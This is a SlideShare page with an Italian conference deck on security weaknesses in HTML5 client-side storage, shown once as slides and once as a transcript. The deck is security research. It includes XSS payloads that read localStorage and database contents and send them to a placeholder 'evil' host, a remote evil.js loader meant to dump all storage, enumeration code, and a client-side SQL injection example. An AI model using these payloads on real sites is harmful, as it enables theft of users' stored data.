SlideShare uma empresa Scribd logo
1 de 29
Baixar para ler offline
Abusing HTML 5
Client-side Storage
                      Myth: the client’s machine
                    is a safe place to store data

Relatore: Alberto   Trivero
Client-side storage finora

Limiti nello storage, nell’interoperabilità e strutturali
  userData (Internet Explorer 5.5+)
  Local Shared Object (cross-browser + Adobe Flash
  Player 6+ plugin)
  Google Gears (Firefox & IE + plugin)
  HTTP cookies (veramente cross-browser)
Due parole su HTML 5
Sviluppo iniziato nel 2004 dal Web Hypertext Application
Technology Working Group (WHATWG) con l’aiuto del
HTML Working Group del W3C dal 2007
Pubblicazione della First Public Working Draft il 22
gennaio 2008
Molte le novità introdotte per adeguarsi alla web 2.0
mania, alcune delle quali già implementante da tempo in
diversi browser (p.es. <canvas> )
Stato di W3C Candidate Recommendation nel 2012...
HTML 5 client-side storage
Forse la novità più interessante per chi si occupa di
sicurezza
Si concretizza in 3 diverse tipologie di storage:
  Session Storage
  Local Storage (ex Global Storage)
  Database Storage
In Firefox e Internet Explorer prende il nome (improprio)
di DOM Storage
Implementazione nei browser
 Gecko 1.9 (Firefox 3.0)
   Session Storage e Global Storage
 WebKit r34xxx (Safari 4)
   Session Storage, Local Storage e Database Storage
 Trident VI (Internet Explorer 8 Beta 2)
   Session Storage e Local Storage
 Presto (Opera 9.60)
   Nada...!
E il mio browser cosa
         supporta?
var storSupp = quot;quot;;
if(quot;sessionStoragequot; in window)
{ storSupp += quot;Session Storage quot;; }
if(quot;globalStoragequot; in window)
{ storSupp += quot;Global Storage quot;; }
if(quot;localStoragequot; in window)
{ storSupp += quot;Local Storage quot;; }
if(quot;openDatabasequot; in window)
{ storSupp += quot;Database Storage quot;; }
document.write(storSupp);
Session Storage

Simile ai cookies HTTP ma più efficiente in diversi casi
Immagazzina stringhe associandole univocamente al
dominio (location.hostname) e alla finestra (o tab)
correnti
Persiste sino alla chiusura della finestra o del tab
Non vi sono precisi limiti di storage (p.es. 5 MB in
Firefox 2 e 10 MB in IE8)
Esempio: sessionStorage.foo = “bar”;
Local Storage (Global Storage)
  Mentre global storage è associabile ad un qualsiasi
  dominio (TLD compreso), local storage viene in
  automatico associato al dominio corrente
  Come il session storage anch’essi immagazzinano
  stringhe ma sono accessibili da qualsiasi finestra (o tab)
  Persistono sino all’eliminazione da parte della web app
  Esempi: localStorage.foobar = 13;
  globalStorage['example.com'].foo = quot;barquot;;
  /Users/XXX/Library/Application Support/
  Firefox/Profiles/XXX/webappsstore.sqlite
Database Storage
Rende possibile l’utilizzo di un vero e proprio database
SQL (di solito SQLite) lato client per lo storage persistente
di dati strutturati (anche centinaia di MB)
Accesso limitato al solo dominio di origine
Esempio: db = openDatabase(quot;dbTestquot;, quot;1.0quot;,
quot;First Databasequot;, 300000);
db.transaction(function(tx)
{ tx.executeSql(quot;CREATE TABLE MyTb (id
REAL)quot;); });
Dati in: /Users/XXX/Library/Safari/Databases
Some boring (in)security
Solo Session Storage
  Se un utente naviga su una sola finestra (o tab), è
  possibile recuperare i dati di molto tempo addietro
Solo Global Storage
  La possibilità di settare il dominio per la condivisione
  può portare ad una condivisione indesiderata di dati
Global Storage e Local Storage
  Non è possibile configurare una scadenza automatica
  Nessun controllo dell’integrità dei dati: salvati in db
  SQLite (files), facilmente accessibili e manipolabili
  In Firefox 3 non è stato implementato clear()
C’è qualcosa di strano...
sessionStorage.foo = false;
if(sessionStorage.foo) { alert(quot;veroquot;); }
else { alert(quot;falsoquot;); }
Cosa visualizza lo script? vero... Su tutti i browser! ?_?
typeof(sessionStorage.foo) ritorna string su
WebKit e IE e ritorna object su Gecko, mai boolean!
Per ottenere falso, come ci si aspetterebbe, si può usare
sessionStorage.foo = ‘’; ma vale solo su WebKit
Su Gecko sembra impossibile ottenere falso, anche con
toString
Abusing Client-side Storage

 Se la web application è vulnerabile ad attacchi come
 XSS, è possibile utilizzare un payload che permetta di
 leggere/modificare il contenuto di qualsiasi variabile di
 storage lato client (session, local, global e database)
 Se la web app carica dati o codice dallo storage locale
 posso iniettare del codice in modo che venga eseguito
 poi tutte le volte che il dato infettato viene richiesto
 Quando un PC viene compromesso, guardare tra lo
 storage locale può essere molto interessante
Abusing Client-side Storage

Tutti i metodi di attacco client-side sin ora studiati
ricevono nuove possibilità d’azione (altro che cookies
stealing, e non c’è HTTPOnly che regga)
Aumentano i modi per tracciare le preferenze di un
utente (v. spy cookies)
Con database e global/local storage possibilità molto
superiori per i web worm di diffondersi (persistent XSS):
in futuro molti MB di dati locali di milioni di utenti a rischio
Abusing Client-side Storage

“Imagine a personal finance site storing your stock
portfolio and historical prices locally, [...] your favorite
blogging tool might already use local storage to
automatically save drafts of your blog posts, [...] a
personalized homepage might store your selected
widgets and their content locally, [...] web applications
such as Google Calendar might store your appointments
locally, [...] your webmail will be downloaded locally [...].
I'm excited to see more applications start to use client-
side storage”, Niall Kennedy, web technologist
Abusing Client-side Storage
Ora tocca a me...
  Immagina che chiunque possa accedere da Internet al
  tuo portafoglio elettronico scoprendo quali azioni
  possiedi e magari modificandole, alle bozze (pubbliche o
  private) del tuo blog, ai tuoi widgets e alle informazioni
  che essi portano, alla tua agenda di appuntamenti, alle
  tue mail senza bisogno di cookies o passwords...
  E magari immagina ancora che esista uno script in grado
  di fare tutto questo automaticamente in una botta sola
  Già, proprio eccitante! :P
Enumerazione degli
         Storage object
Nel caso volessimo acquisire i dati contenuti in
sessionStorage, globalStorage e localStorage,
esistono due vie per scoprire i nomi di chiavi non note:
  var ss = quot;quot;;
  for(i in window.sessionStorage)
  { ss += i + quot; quot;; }
  var ls = quot;quot;;
  for(i = 0; i < localStorage.length; i++)
  { ls += localStorage.key(i) + quot; quot;; }
Enumerazione dei
           Database object
“There is no way to enumerate or delete the databases
available for a domain from this API” HTML 5 Working Draft
Nel caso in cui volessimo acquisire i dati contenuti in un
Database object non conoscendone però il nome, si deve
usare qualche escamotage per risalire ad esso:
var db = quot;quot;;
for(i in window)
{ if(window[i] == “[object Database]”)
{ db += i + “ “; } }
Extracting database metadata
  Ogni database SQLite ha una tabella sqlite_master
  contenente l’elenco delle tabelle del database:
  SELECT name FROM sqlite_master WHERE
  type='table'
  Per ottenere l’elenco delle colonne (al momento della
  creazione o anche aggiunte in seguito) di una tabella:
  SELECT sql FROM sqlite_master WHERE
  name='nome_tabella'
  WebKit attualmente usa SQLite versione 3.4.0 (la 3.6.1
  è l’ultima disponibile): SELECT sqlite_version()
One shot attack
Ciò che rende scomodi gli attacchi client-side è la difficoltà
di interagire costantemente e in qualsiasi momento con il
bersaglio
Se un’applicazione ha una falla di cross-site scripting posso
usarla per prendere dei dati mirati:
  http://example.com/page.php?name=<script>
  document.write('<img src=quot;http://foo.com/evil.php?
  name=' %2B globalStorage[location.hostname].
  chiave %2B 'quot;>');</script>
  http://example.com/page.php?name=<script>
  db.transaction(function (tx) { tx.executeSql
  (quot;SELECT * FROM tabella_clientquot;, [], function(tx,
  result) { document.write('<img src=quot;http://
  foo.com/evil.php?name=' %2B result.rows.item(0)
  ['dato'] %2B 'quot;>'); }); });</script>
DEMO 1
Attack automation:
         HTML5CSdump
Nel caso non si abbia alcuna conoscenza dei nomi delle
chiavi negli Storage objects o delle tabelle nel database,
posso creare uno script JavaScript che automatizzi
l’intero processo di acquisizione dei dati lato client:
http://example.com/page.php?name=<script
src=http://foo.com/evil.js></script>
evil.js utilizzerà le tecniche di enumerazione e di
estrazione descritte prima per acquisire tutto lo storage
lato client di HTML 5 memorizzato sul PC della vittima dal
browser e relativo al dominio dell’applicazione vulnerabile
trivero.secdiscover.com/html5csdump.js
DEMO 2
Cross-directory attacks

Per le tre metodologie di storage lato client di HTML 5
non esiste un’equivalente del parametro Path dei cookies
Ciò significa che una falla XSS&c. in una qualunque
pagina di un sito, può portare alla cattura o modifica dei
dati che il sito ha memorizzato sul PC dell’utente
attaccato
Risulta quindi assolutamente sconsigliato l’utilizzo di
queste metodologie di storage per chi usa siti quali
geocities.com, myspace.com, livejournal.com, etc.
Cross-domain & cross-port
        attacks
Un attacco cross-domain è fattibile contro il global
storage di Firefox 2. Se le restrizioni per i domini sono
blande, un subdomain può accedere ai dati di un altro:
user.altervista.org può accedere su admin.altervista.org a
globalStorage[‘altervista.org’].silly
Non potendo mettere restrizioni sulle porte, se sullo
stesso host girano due web server su due porte diverse
(o qualsiasi altro tipo di sevizio XSSable), ciascuno può
accedere allo storage locale dell’altro
Client-side SQL injection
Gli attacchi di SQL injection, da sempre considerati un
problema server-side, ora lo diventano anche client-side
Il problema si presenta quando i parametri delle query SQL
non sono passati attraverso il simbolo ? ma direttamente:
executeSql(quot;SELECT name FROM stud WHERE
id=quot; + input_id);
Invece di: executeSql(quot;SELECT name FROM stud
WHERE id=?quot;, [input_id]);
Sfruttabilità dell’attacco variabile
Con WebKit, non tutti i comandi SQL che SQLite supporta
sono permessi: p.es. PRAGMA e ATTACH
DEMO 3
Conclusioni

Le prime bozze di HTML 5 introducono una funzionalità di
storage lato client molto interessante ma anche rischiosa
Attualmente tutti i maggiori browser si stanno affrettando
per supportare queste e altre specifiche
La reale portata dei rischi legati a questa tecnologia sarà
visibile solo quando verrà adottata su larga scala (ora
come ora è quasi inesistente ma subirà sicuramente una
crescita esponenziale nei prossimi mesi e anni)
Links utili
          Trovate queste slide all’indirizzo:
    http://trivero.secdiscover.com/smau08.pdf
                     White Paper:
http://trivero.secdiscover.com/html5whitepaper.pdf
www.whatwg.org/specs/web-apps/current-work/
multipage/structured.html
developer.mozilla.org/en/docs/DOM:Storage
msdn.microsoft.com/en-us/library/cc197062(VS.85).aspx
Ajax Security: www.amazon.com/Ajax-Security-Billy-
Hoffman/dp/0321491939/
Domande?




  Relatore: Alberto   Trivero
  e-mail: a.trivero(*)secdiscover.com

Mais conteúdo relacionado

Destaque

Ditching JQuery
Ditching JQueryDitching JQuery
Ditching JQueryhowlowck
 
Constipation and its Remedy
Constipation and its RemedyConstipation and its Remedy
Constipation and its Remedyzegensocial
 
ArthaVidhya brochure
ArthaVidhya brochureArthaVidhya brochure
ArthaVidhya brochureG Srinivasan
 
The Social Media Spine: Building the backbone to your online presence
The Social Media Spine: Building the backbone to your online presenceThe Social Media Spine: Building the backbone to your online presence
The Social Media Spine: Building the backbone to your online presenceStacy Lukasavitz Steele
 
Lost at sea? Location-based services to the rescue!
Lost at sea? Location-based services to the rescue! Lost at sea? Location-based services to the rescue!
Lost at sea? Location-based services to the rescue! Stacy Lukasavitz Steele
 
A guru always takes you for a ride sadhguru
A guru always takes you for a ride sadhguruA guru always takes you for a ride sadhguru
A guru always takes you for a ride sadhgururegstuff
 
548510 sap-release-strategy
548510 sap-release-strategy548510 sap-release-strategy
548510 sap-release-strategysanteetax
 
Vasudhara dairy case study
Vasudhara dairy case studyVasudhara dairy case study
Vasudhara dairy case studyalishashah155
 
Cow and Our Health
Cow  and Our HealthCow  and Our Health
Cow and Our Healthzegensocial
 
Managing Environmental Project at PT Inco; Actualization of Professional Ethi...
Managing Environmental Project at PT Inco; Actualization of Professional Ethi...Managing Environmental Project at PT Inco; Actualization of Professional Ethi...
Managing Environmental Project at PT Inco; Actualization of Professional Ethi...Habibie Razak
 
Power point Presentation on SEVAI - COW PROJECT, .
Power point Presentation on SEVAI - COW PROJECT, .Power point Presentation on SEVAI - COW PROJECT, .
Power point Presentation on SEVAI - COW PROJECT, .sevaingo
 
Basic Funding Concepts for Entrepreneurs
Basic Funding Concepts for EntrepreneursBasic Funding Concepts for Entrepreneurs
Basic Funding Concepts for EntrepreneursAlok Rodinhood Kejriwal
 
How to grow taller 4 idiots pdf
How to grow taller 4 idiots pdfHow to grow taller 4 idiots pdf
How to grow taller 4 idiots pdfmrmicky368
 
Building a Marketplace: A Checklist for Online Disruption
Building a Marketplace: A Checklist for Online DisruptionBuilding a Marketplace: A Checklist for Online Disruption
Building a Marketplace: A Checklist for Online DisruptionSangeet Paul Choudary
 
David Skok's, SMASH Summit NYC
David Skok's,  SMASH Summit NYCDavid Skok's,  SMASH Summit NYC
David Skok's, SMASH Summit NYC500 Startups
 

Destaque (17)

Ditching JQuery
Ditching JQueryDitching JQuery
Ditching JQuery
 
Constipation and its Remedy
Constipation and its RemedyConstipation and its Remedy
Constipation and its Remedy
 
ArthaVidhya brochure
ArthaVidhya brochureArthaVidhya brochure
ArthaVidhya brochure
 
Upavaasa Yoga
Upavaasa YogaUpavaasa Yoga
Upavaasa Yoga
 
The Social Media Spine: Building the backbone to your online presence
The Social Media Spine: Building the backbone to your online presenceThe Social Media Spine: Building the backbone to your online presence
The Social Media Spine: Building the backbone to your online presence
 
Lost at sea? Location-based services to the rescue!
Lost at sea? Location-based services to the rescue! Lost at sea? Location-based services to the rescue!
Lost at sea? Location-based services to the rescue!
 
A guru always takes you for a ride sadhguru
A guru always takes you for a ride sadhguruA guru always takes you for a ride sadhguru
A guru always takes you for a ride sadhguru
 
548510 sap-release-strategy
548510 sap-release-strategy548510 sap-release-strategy
548510 sap-release-strategy
 
Vasudhara dairy case study
Vasudhara dairy case studyVasudhara dairy case study
Vasudhara dairy case study
 
Cow and Our Health
Cow  and Our HealthCow  and Our Health
Cow and Our Health
 
Managing Environmental Project at PT Inco; Actualization of Professional Ethi...
Managing Environmental Project at PT Inco; Actualization of Professional Ethi...Managing Environmental Project at PT Inco; Actualization of Professional Ethi...
Managing Environmental Project at PT Inco; Actualization of Professional Ethi...
 
Power point Presentation on SEVAI - COW PROJECT, .
Power point Presentation on SEVAI - COW PROJECT, .Power point Presentation on SEVAI - COW PROJECT, .
Power point Presentation on SEVAI - COW PROJECT, .
 
Basic Funding Concepts for Entrepreneurs
Basic Funding Concepts for EntrepreneursBasic Funding Concepts for Entrepreneurs
Basic Funding Concepts for Entrepreneurs
 
How to grow taller 4 idiots pdf
How to grow taller 4 idiots pdfHow to grow taller 4 idiots pdf
How to grow taller 4 idiots pdf
 
Building a Marketplace: A Checklist for Online Disruption
Building a Marketplace: A Checklist for Online DisruptionBuilding a Marketplace: A Checklist for Online Disruption
Building a Marketplace: A Checklist for Online Disruption
 
Company profile
Company profileCompany profile
Company profile
 
David Skok's, SMASH Summit NYC
David Skok's,  SMASH Summit NYCDavid Skok's,  SMASH Summit NYC
David Skok's, SMASH Summit NYC
 

Semelhante a Abusing HTML 5 Client-side Storage

Matteo Bicocchi - Introducing HTML5
Matteo Bicocchi - Introducing HTML5Matteo Bicocchi - Introducing HTML5
Matteo Bicocchi - Introducing HTML5Pietro Polsinelli
 
Rich Ajax Web Interfaces in Jquery
Rich Ajax Web Interfaces in JqueryRich Ajax Web Interfaces in Jquery
Rich Ajax Web Interfaces in JqueryAlberto Buschettu
 
breve introduzione a node.js
breve introduzione a node.jsbreve introduzione a node.js
breve introduzione a node.jsnetmeansnet
 
Azure Day Rome Reloaded 2019 - Ingestion nel datalake passando tramite API Ma...
Azure Day Rome Reloaded 2019 - Ingestion nel datalake passando tramite API Ma...Azure Day Rome Reloaded 2019 - Ingestion nel datalake passando tramite API Ma...
Azure Day Rome Reloaded 2019 - Ingestion nel datalake passando tramite API Ma...azuredayit
 
Sviluppare estensioni per google chrome
Sviluppare estensioni per google chromeSviluppare estensioni per google chrome
Sviluppare estensioni per google chromeMarco Vito Moscaritolo
 
Web Performance Optimization
Web Performance OptimizationWeb Performance Optimization
Web Performance OptimizationAlessandro Martin
 
MongoDB User Group Padova - Overviews iniziale su MongoDB
MongoDB User Group Padova - Overviews iniziale su MongoDBMongoDB User Group Padova - Overviews iniziale su MongoDB
MongoDB User Group Padova - Overviews iniziale su MongoDBStefano Dindo
 
Dominare il codice legacy
Dominare il codice legacyDominare il codice legacy
Dominare il codice legacyTommaso Torti
 
Programmazione web libera dai framework
Programmazione web libera dai frameworkProgrammazione web libera dai framework
Programmazione web libera dai frameworkFrancesca1980
 
Aumentiamo la sicurezza in TYPO3
Aumentiamo la sicurezza in TYPO3Aumentiamo la sicurezza in TYPO3
Aumentiamo la sicurezza in TYPO3Mauro Lorenzutti
 
How create a single page apps using html5 and javascript
How create a single page apps using html5 and javascript How create a single page apps using html5 and javascript
How create a single page apps using html5 and javascript Stefano Marchisio
 
Write less do more...with jQuery
Write less do more...with jQueryWrite less do more...with jQuery
Write less do more...with jQueryXeDotNet
 
Sencha touch: Sviluppare un'app - 4° parte
Sencha touch: Sviluppare un'app - 4° parteSencha touch: Sviluppare un'app - 4° parte
Sencha touch: Sviluppare un'app - 4° parteGiuseppe Toto
 

Semelhante a Abusing HTML 5 Client-side Storage (20)

Matteo Bicocchi - Introducing HTML5
Matteo Bicocchi - Introducing HTML5Matteo Bicocchi - Introducing HTML5
Matteo Bicocchi - Introducing HTML5
 
Oai Data Adapter
Oai Data AdapterOai Data Adapter
Oai Data Adapter
 
Rich Ajax Web Interfaces in Jquery
Rich Ajax Web Interfaces in JqueryRich Ajax Web Interfaces in Jquery
Rich Ajax Web Interfaces in Jquery
 
#dd12 Applicazioni a tre voci (Android e Domino)
#dd12 Applicazioni a tre voci (Android e Domino)#dd12 Applicazioni a tre voci (Android e Domino)
#dd12 Applicazioni a tre voci (Android e Domino)
 
Java Advanced
Java AdvancedJava Advanced
Java Advanced
 
Dojo nuovo look alle vostre applicazioni web Domino
Dojo nuovo look alle vostre applicazioni web DominoDojo nuovo look alle vostre applicazioni web Domino
Dojo nuovo look alle vostre applicazioni web Domino
 
Html5
Html5Html5
Html5
 
breve introduzione a node.js
breve introduzione a node.jsbreve introduzione a node.js
breve introduzione a node.js
 
Azure Day Rome Reloaded 2019 - Ingestion nel datalake passando tramite API Ma...
Azure Day Rome Reloaded 2019 - Ingestion nel datalake passando tramite API Ma...Azure Day Rome Reloaded 2019 - Ingestion nel datalake passando tramite API Ma...
Azure Day Rome Reloaded 2019 - Ingestion nel datalake passando tramite API Ma...
 
Sviluppare estensioni per google chrome
Sviluppare estensioni per google chromeSviluppare estensioni per google chrome
Sviluppare estensioni per google chrome
 
Web Performance Optimization
Web Performance OptimizationWeb Performance Optimization
Web Performance Optimization
 
Wcmil2018
Wcmil2018Wcmil2018
Wcmil2018
 
MongoDB User Group Padova - Overviews iniziale su MongoDB
MongoDB User Group Padova - Overviews iniziale su MongoDBMongoDB User Group Padova - Overviews iniziale su MongoDB
MongoDB User Group Padova - Overviews iniziale su MongoDB
 
Dominare il codice legacy
Dominare il codice legacyDominare il codice legacy
Dominare il codice legacy
 
Programmazione web libera dai framework
Programmazione web libera dai frameworkProgrammazione web libera dai framework
Programmazione web libera dai framework
 
Aumentiamo la sicurezza in TYPO3
Aumentiamo la sicurezza in TYPO3Aumentiamo la sicurezza in TYPO3
Aumentiamo la sicurezza in TYPO3
 
How create a single page apps using html5 and javascript
How create a single page apps using html5 and javascript How create a single page apps using html5 and javascript
How create a single page apps using html5 and javascript
 
Apache Parte 2
Apache Parte 2Apache Parte 2
Apache Parte 2
 
Write less do more...with jQuery
Write less do more...with jQueryWrite less do more...with jQuery
Write less do more...with jQuery
 
Sencha touch: Sviluppare un'app - 4° parte
Sencha touch: Sviluppare un'app - 4° parteSencha touch: Sviluppare un'app - 4° parte
Sencha touch: Sviluppare un'app - 4° parte
 

Abusing HTML 5 Client-side Storage

  • 1. Abusing HTML 5 Client-side Storage Myth: the client’s machine is a safe place to store data Relatore: Alberto Trivero
  • 2. Client-side storage finora Limiti nello storage, nell’interoperabilità e strutturali userData (Internet Explorer 5.5+) Local Shared Object (cross-browser + Adobe Flash Player 6+ plugin) Google Gears (Firefox & IE + plugin) HTTP cookies (veramente cross-browser)
  • 3. Due parole su HTML 5 Sviluppo iniziato nel 2004 dal Web Hypertext Application Technology Working Group (WHATWG) con l’aiuto del HTML Working Group del W3C dal 2007 Pubblicazione della First Public Working Draft il 22 gennaio 2008 Molte le novità introdotte per adeguarsi alla web 2.0 mania, alcune delle quali già implementante da tempo in diversi browser (p.es. <canvas> ) Stato di W3C Candidate Recommendation nel 2012...
  • 4. HTML 5 client-side storage Forse la novità più interessante per chi si occupa di sicurezza Si concretizza in 3 diverse tipologie di storage: Session Storage Local Storage (ex Global Storage) Database Storage In Firefox e Internet Explorer prende il nome (improprio) di DOM Storage
  • 5. Implementazione nei browser Gecko 1.9 (Firefox 3.0) Session Storage e Global Storage WebKit r34xxx (Safari 4) Session Storage, Local Storage e Database Storage Trident VI (Internet Explorer 8 Beta 2) Session Storage e Local Storage Presto (Opera 9.60) Nada...!
  • 6. E il mio browser cosa supporta? var storSupp = quot;quot;; if(quot;sessionStoragequot; in window) { storSupp += quot;Session Storage quot;; } if(quot;globalStoragequot; in window) { storSupp += quot;Global Storage quot;; } if(quot;localStoragequot; in window) { storSupp += quot;Local Storage quot;; } if(quot;openDatabasequot; in window) { storSupp += quot;Database Storage quot;; } document.write(storSupp);
  • 7. Session Storage Simile ai cookies HTTP ma più efficiente in diversi casi Immagazzina stringhe associandole univocamente al dominio (location.hostname) e alla finestra (o tab) correnti Persiste sino alla chiusura della finestra o del tab Non vi sono precisi limiti di storage (p.es. 5 MB in Firefox 2 e 10 MB in IE8) Esempio: sessionStorage.foo = “bar”;
  • 8. Local Storage (Global Storage) Mentre global storage è associabile ad un qualsiasi dominio (TLD compreso), local storage viene in automatico associato al dominio corrente Come il session storage anch’essi immagazzinano stringhe ma sono accessibili da qualsiasi finestra (o tab) Persistono sino all’eliminazione da parte della web app Esempi: localStorage.foobar = 13; globalStorage['example.com'].foo = quot;barquot;; /Users/XXX/Library/Application Support/ Firefox/Profiles/XXX/webappsstore.sqlite
  • 9. Database Storage Rende possibile l’utilizzo di un vero e proprio database SQL (di solito SQLite) lato client per lo storage persistente di dati strutturati (anche centinaia di MB) Accesso limitato al solo dominio di origine Esempio: db = openDatabase(quot;dbTestquot;, quot;1.0quot;, quot;First Databasequot;, 300000); db.transaction(function(tx) { tx.executeSql(quot;CREATE TABLE MyTb (id REAL)quot;); }); Dati in: /Users/XXX/Library/Safari/Databases
  • 10. Some boring (in)security Solo Session Storage Se un utente naviga su una sola finestra (o tab), è possibile recuperare i dati di molto tempo addietro Solo Global Storage La possibilità di settare il dominio per la condivisione può portare ad una condivisione indesiderata di dati Global Storage e Local Storage Non è possibile configurare una scadenza automatica Nessun controllo dell’integrità dei dati: salvati in db SQLite (files), facilmente accessibili e manipolabili In Firefox 3 non è stato implementato clear()
  • 11. C’è qualcosa di strano... sessionStorage.foo = false; if(sessionStorage.foo) { alert(quot;veroquot;); } else { alert(quot;falsoquot;); } Cosa visualizza lo script? vero... Su tutti i browser! ?_? typeof(sessionStorage.foo) ritorna string su WebKit e IE e ritorna object su Gecko, mai boolean! Per ottenere falso, come ci si aspetterebbe, si può usare sessionStorage.foo = ‘’; ma vale solo su WebKit Su Gecko sembra impossibile ottenere falso, anche con toString
  • 12. Abusing Client-side Storage Se la web application è vulnerabile ad attacchi come XSS, è possibile utilizzare un payload che permetta di leggere/modificare il contenuto di qualsiasi variabile di storage lato client (session, local, global e database) Se la web app carica dati o codice dallo storage locale posso iniettare del codice in modo che venga eseguito poi tutte le volte che il dato infettato viene richiesto Quando un PC viene compromesso, guardare tra lo storage locale può essere molto interessante
  • 13. Abusing Client-side Storage Tutti i metodi di attacco client-side sin ora studiati ricevono nuove possibilità d’azione (altro che cookies stealing, e non c’è HTTPOnly che regga) Aumentano i modi per tracciare le preferenze di un utente (v. spy cookies) Con database e global/local storage possibilità molto superiori per i web worm di diffondersi (persistent XSS): in futuro molti MB di dati locali di milioni di utenti a rischio
  • 14. Abusing Client-side Storage “Imagine a personal finance site storing your stock portfolio and historical prices locally, [...] your favorite blogging tool might already use local storage to automatically save drafts of your blog posts, [...] a personalized homepage might store your selected widgets and their content locally, [...] web applications such as Google Calendar might store your appointments locally, [...] your webmail will be downloaded locally [...]. I'm excited to see more applications start to use client- side storage”, Niall Kennedy, web technologist
  • 15. Abusing Client-side Storage Ora tocca a me... Immagina che chiunque possa accedere da Internet al tuo portafoglio elettronico scoprendo quali azioni possiedi e magari modificandole, alle bozze (pubbliche o private) del tuo blog, ai tuoi widgets e alle informazioni che essi portano, alla tua agenda di appuntamenti, alle tue mail senza bisogno di cookies o passwords... E magari immagina ancora che esista uno script in grado di fare tutto questo automaticamente in una botta sola Già, proprio eccitante! :P
  • 16. Enumerazione degli Storage object Nel caso volessimo acquisire i dati contenuti in sessionStorage, globalStorage e localStorage, esistono due vie per scoprire i nomi di chiavi non note: var ss = quot;quot;; for(i in window.sessionStorage) { ss += i + quot; quot;; } var ls = quot;quot;; for(i = 0; i < localStorage.length; i++) { ls += localStorage.key(i) + quot; quot;; }
  • 17. Enumerazione dei Database object “There is no way to enumerate or delete the databases available for a domain from this API” HTML 5 Working Draft Nel caso in cui volessimo acquisire i dati contenuti in un Database object non conoscendone però il nome, si deve usare qualche escamotage per risalire ad esso: var db = quot;quot;; for(i in window) { if(window[i] == “[object Database]”) { db += i + “ “; } }
  • 18. Extracting database metadata Ogni database SQLite ha una tabella sqlite_master contenente l’elenco delle tabelle del database: SELECT name FROM sqlite_master WHERE type='table' Per ottenere l’elenco delle colonne (al momento della creazione o anche aggiunte in seguito) di una tabella: SELECT sql FROM sqlite_master WHERE name='nome_tabella' WebKit attualmente usa SQLite versione 3.4.0 (la 3.6.1 è l’ultima disponibile): SELECT sqlite_version()
  • 19. One shot attack Ciò che rende scomodi gli attacchi client-side è la difficoltà di interagire costantemente e in qualsiasi momento con il bersaglio Se un’applicazione ha una falla di cross-site scripting posso usarla per prendere dei dati mirati: http://example.com/page.php?name=<script> document.write('<img src=quot;http://foo.com/evil.php? name=' %2B globalStorage[location.hostname]. chiave %2B 'quot;>');</script> http://example.com/page.php?name=<script> db.transaction(function (tx) { tx.executeSql (quot;SELECT * FROM tabella_clientquot;, [], function(tx, result) { document.write('<img src=quot;http:// foo.com/evil.php?name=' %2B result.rows.item(0) ['dato'] %2B 'quot;>'); }); });</script>
  • 21. Attack automation: HTML5CSdump Nel caso non si abbia alcuna conoscenza dei nomi delle chiavi negli Storage objects o delle tabelle nel database, posso creare uno script JavaScript che automatizzi l’intero processo di acquisizione dei dati lato client: http://example.com/page.php?name=<script src=http://foo.com/evil.js></script> evil.js utilizzerà le tecniche di enumerazione e di estrazione descritte prima per acquisire tutto lo storage lato client di HTML 5 memorizzato sul PC della vittima dal browser e relativo al dominio dell’applicazione vulnerabile trivero.secdiscover.com/html5csdump.js
  • 23. Cross-directory attacks Per le tre metodologie di storage lato client di HTML 5 non esiste un’equivalente del parametro Path dei cookies Ciò significa che una falla XSS&c. in una qualunque pagina di un sito, può portare alla cattura o modifica dei dati che il sito ha memorizzato sul PC dell’utente attaccato Risulta quindi assolutamente sconsigliato l’utilizzo di queste metodologie di storage per chi usa siti quali geocities.com, myspace.com, livejournal.com, etc.
  • 24. Cross-domain & cross-port attacks Un attacco cross-domain è fattibile contro il global storage di Firefox 2. Se le restrizioni per i domini sono blande, un subdomain può accedere ai dati di un altro: user.altervista.org può accedere su admin.altervista.org a globalStorage[‘altervista.org’].silly Non potendo mettere restrizioni sulle porte, se sullo stesso host girano due web server su due porte diverse (o qualsiasi altro tipo di sevizio XSSable), ciascuno può accedere allo storage locale dell’altro
  • 25. Client-side SQL injection Gli attacchi di SQL injection, da sempre considerati un problema server-side, ora lo diventano anche client-side Il problema si presenta quando i parametri delle query SQL non sono passati attraverso il simbolo ? ma direttamente: executeSql(quot;SELECT name FROM stud WHERE id=quot; + input_id); Invece di: executeSql(quot;SELECT name FROM stud WHERE id=?quot;, [input_id]); Sfruttabilità dell’attacco variabile Con WebKit, non tutti i comandi SQL che SQLite supporta sono permessi: p.es. PRAGMA e ATTACH
  • 27. Conclusioni Le prime bozze di HTML 5 introducono una funzionalità di storage lato client molto interessante ma anche rischiosa Attualmente tutti i maggiori browser si stanno affrettando per supportare queste e altre specifiche La reale portata dei rischi legati a questa tecnologia sarà visibile solo quando verrà adottata su larga scala (ora come ora è quasi inesistente ma subirà sicuramente una crescita esponenziale nei prossimi mesi e anni)
  • 28. Links utili Trovate queste slide all’indirizzo: http://trivero.secdiscover.com/smau08.pdf White Paper: http://trivero.secdiscover.com/html5whitepaper.pdf www.whatwg.org/specs/web-apps/current-work/ multipage/structured.html developer.mozilla.org/en/docs/DOM:Storage msdn.microsoft.com/en-us/library/cc197062(VS.85).aspx Ajax Security: www.amazon.com/Ajax-Security-Billy- Hoffman/dp/0321491939/
  • 29. Domande? Relatore: Alberto Trivero e-mail: a.trivero(*)secdiscover.com